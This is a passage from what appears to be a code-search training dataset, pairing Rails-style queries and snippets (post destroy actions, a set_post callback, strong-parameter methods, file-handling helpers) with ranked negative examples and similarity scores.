"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Anúncio removido com sucesso.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.friendly.find(params[:id])\n @post.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Story deleted' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Postitus edukalt kustutatud!\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluida com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluída com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mural_post.destroy\n respond_to do |format|\n format.html { redirect_to mural_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @posto = Posto.find(params[:id])\n @posto.destroy\n\n respond_to do |format|\n format.html { redirect_to postos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n end"
] | [
"0.8046884",
"0.76902676",
"0.7583626",
"0.75803024",
"0.7568048",
"0.75047046",
"0.75031126",
"0.74750155",
"0.74671036",
"0.74650854",
"0.746482",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7423174",
"0.74059606",
"0.73990285",
"0.73928183",
"0.7389498",
"0.7371715",
"0.7371117",
"0.7349121",
"0.7344524",
"0.7342226",
"0.7338908",
"0.7313371",
"0.73123556",
"0.731156",
"0.73095584",
"0.7299751",
"0.7298017",
"0.7298017",
"0.7282874",
"0.7277125",
"0.7266815",
"0.7260945",
"0.72549784",
"0.7254856",
"0.7239102",
"0.7238946",
"0.7229726",
"0.7227931",
"0.7221013",
"0.721375",
"0.7211237",
"0.72097856",
"0.7190222",
"0.71850675",
"0.7171746",
"0.71533066",
"0.71457464",
"0.71434635",
"0.7142048",
"0.7139985",
"0.7137574"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_post
@post = Post.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def after_set_callback; end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def default_action; end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def call\n setup_context\n super\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end"
] | [
"0.6165094",
"0.60450804",
"0.5944413",
"0.5915806",
"0.58885634",
"0.5835225",
"0.5775847",
"0.5700531",
"0.5700531",
"0.56543404",
"0.56209993",
"0.54238355",
"0.5410386",
"0.5410386",
"0.5410386",
"0.5394892",
"0.5377769",
"0.53559244",
"0.5339896",
"0.53388095",
"0.5330087",
"0.5311993",
"0.5297402",
"0.5296789",
"0.52957207",
"0.52596015",
"0.5245442",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5235431",
"0.5231888",
"0.5226663",
"0.52220625",
"0.5217086",
"0.52137345",
"0.5208314",
"0.5205469",
"0.5175606",
"0.5174914",
"0.5173361",
"0.51662856",
"0.5161792",
"0.51572216",
"0.5153063",
"0.5152982",
"0.5152632",
"0.51435786",
"0.5139829",
"0.51346594",
"0.511372",
"0.511372",
"0.51136476",
"0.51083213",
"0.5108011",
"0.5091935",
"0.5089297",
"0.5081576",
"0.50807106",
"0.50656676",
"0.50548106",
"0.50537366",
"0.505074",
"0.505074",
"0.5033361",
"0.5025158",
"0.5020441",
"0.5015611",
"0.50142473",
"0.5000281",
"0.50001067",
"0.49989453",
"0.4989465",
"0.4989465",
"0.4985425",
"0.49805096",
"0.49795893",
"0.49783278",
"0.49676263",
"0.49656346",
"0.49579078",
"0.4955427",
"0.49554235",
"0.49536413",
"0.49523768",
"0.49457142",
"0.49433607",
"0.4933641",
"0.49320185",
"0.49265638",
"0.49262375",
"0.49259067",
"0.4922456",
"0.49201223",
"0.49165115",
"0.49158815",
"0.49151883",
"0.49149552",
"0.4914386"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def post_params
params.require(:post).permit(:title, :body)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6978086",
"0.6780264",
"0.6742658",
"0.6738813",
"0.67338693",
"0.65908474",
"0.6501793",
"0.6495506",
"0.64796513",
"0.64755446",
"0.6454826",
"0.6437561",
"0.6377127",
"0.63722163",
"0.6364058",
"0.63178706",
"0.62979764",
"0.62968165",
"0.62913024",
"0.6289789",
"0.6289145",
"0.62875307",
"0.6280997",
"0.62420976",
"0.62388235",
"0.6216686",
"0.62122375",
"0.6208949",
"0.619173",
"0.6176307",
"0.6173907",
"0.6170346",
"0.616111",
"0.6150513",
"0.6150023",
"0.61446756",
"0.6120429",
"0.6112975",
"0.6104845",
"0.6102966",
"0.6087884",
"0.6079323",
"0.60699135",
"0.60602236",
"0.60191786",
"0.60170597",
"0.60100305",
"0.6009527",
"0.60052776",
"0.60052776",
"0.600042",
"0.5999317",
"0.59933805",
"0.5991528",
"0.5991221",
"0.5990094",
"0.5979497",
"0.5966058",
"0.5958738",
"0.59579456",
"0.5957759",
"0.5956938",
"0.5951788",
"0.59511644",
"0.59423065",
"0.59373474",
"0.59361076",
"0.59361076",
"0.59331447",
"0.5928005",
"0.5924882",
"0.5924011",
"0.59169155",
"0.5908037",
"0.5907541",
"0.59061426",
"0.59056246",
"0.5897408",
"0.58960444",
"0.58951247",
"0.5893136",
"0.5892312",
"0.5890385",
"0.58853275",
"0.58801144",
"0.58784765",
"0.5872648",
"0.58682626",
"0.5867028",
"0.58661693",
"0.586578",
"0.58643955",
"0.5863193",
"0.58609086",
"0.5859997",
"0.5858935",
"0.5858632",
"0.5853379",
"0.5852741",
"0.584806",
"0.5847703"
] | 0.0 | -1 |
GetFile is a lib task | def get_the_individual_file_to_be_processed
# p "individual file selection"
files = GetFiles.get_all_of_the_filenames(@project.freecen_files_directory, @project.file_range)
files
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def file_utils; end",
"def cl_request(fn, *_)\n get_file fn\n # No other action required\n end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File)\n\tend",
"def file() nil; end",
"def get_file(url); end",
"def file\n end",
"def file\n end",
"def file\r\n LocalFile\r\n end",
"def file(*args, &block)\n Rake::FileTask.define_task(*args, &block)\nend",
"def get_file(file_id)\n\tputs \"Getting file: \" + file_id\n\tresponse = request_get('/api/partner/file/' + file_id)\n\tputs response.body\nend",
"def get\n file\n end",
"def file_path\n File.join 'lib', 'woro_tasks', file_name\n end",
"def file_path; end",
"def file\n #load_file\n @file ||= load_file\n end",
"def perform(filepath)\n\n end",
"def libfile\n libfile = Pathname.new(resource[:lib]).absolute? ? resource[:lib] : \"modules/#{resource[:lib]}\"\n end",
"def define\n @file_target = sprout(gem_name, version)\n @library_path = File.join(@file_target.installed_path, @file_target.archive_path)\n define_file_task(library_path, project_path)\n end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def file_path\n end",
"def file_task(re, runtime, signature, version, rb, rbc)\n rbc ||= rb.sub(re, \"runtime/#{version}\") + \"c\"\n\n file rbc => [rb, signature]\n runtime << rbc\nend",
"def file\n @file\n end",
"def file(*args, &block)\n Rake::FileTask.define_task(*args, &block)\n end",
"def file\n FILE\n end",
"def file\n project.objects[fileRef]\n end",
"def project_file\n if fetcher && fetcher.is_a?(NetFetcher)\n log.deprecated(log_key) do\n \"project_file (DSL). This is a property of the NetFetcher and will \" \\\n \"not be publically exposed in the next major release. In general, \" \\\n \"you should not be using this method in your software definitions \" \\\n \"as it is an internal implementation detail of the NetFetcher. If \" \\\n \"you disagree with this statement, you should open an issue on the \" \\\n \"Omnibus repository on GitHub an explain your use case. For now, \" \\\n \"I will return the path to the downloaded file on disk, but please \" \\\n \"rethink the problem you are trying to solve :).\"\n end\n\n fetcher.downloaded_file\n else\n log.warn(log_key) do\n \"Cannot retrieve a `project_file' for software `#{name}'. This \" \\\n \"attribute is actually an internal representation that is unique \" \\\n \"to the NetFetcher class and requires the use of a `source' \" \\\n \"attribute that is declared using a `:url' key. For backwards-\" \\\n \"compatability, I will return `nil', but this is most likely not \" \\\n \"your desired behavior.\"\n end\n\n nil\n end\n end",
"def file_utils=(_arg0); end",
"def libfile\n Pathname.new(resource[:lib]).absolute? ? resource[:lib] : \"modules/#{resource[:lib]}\"\n end",
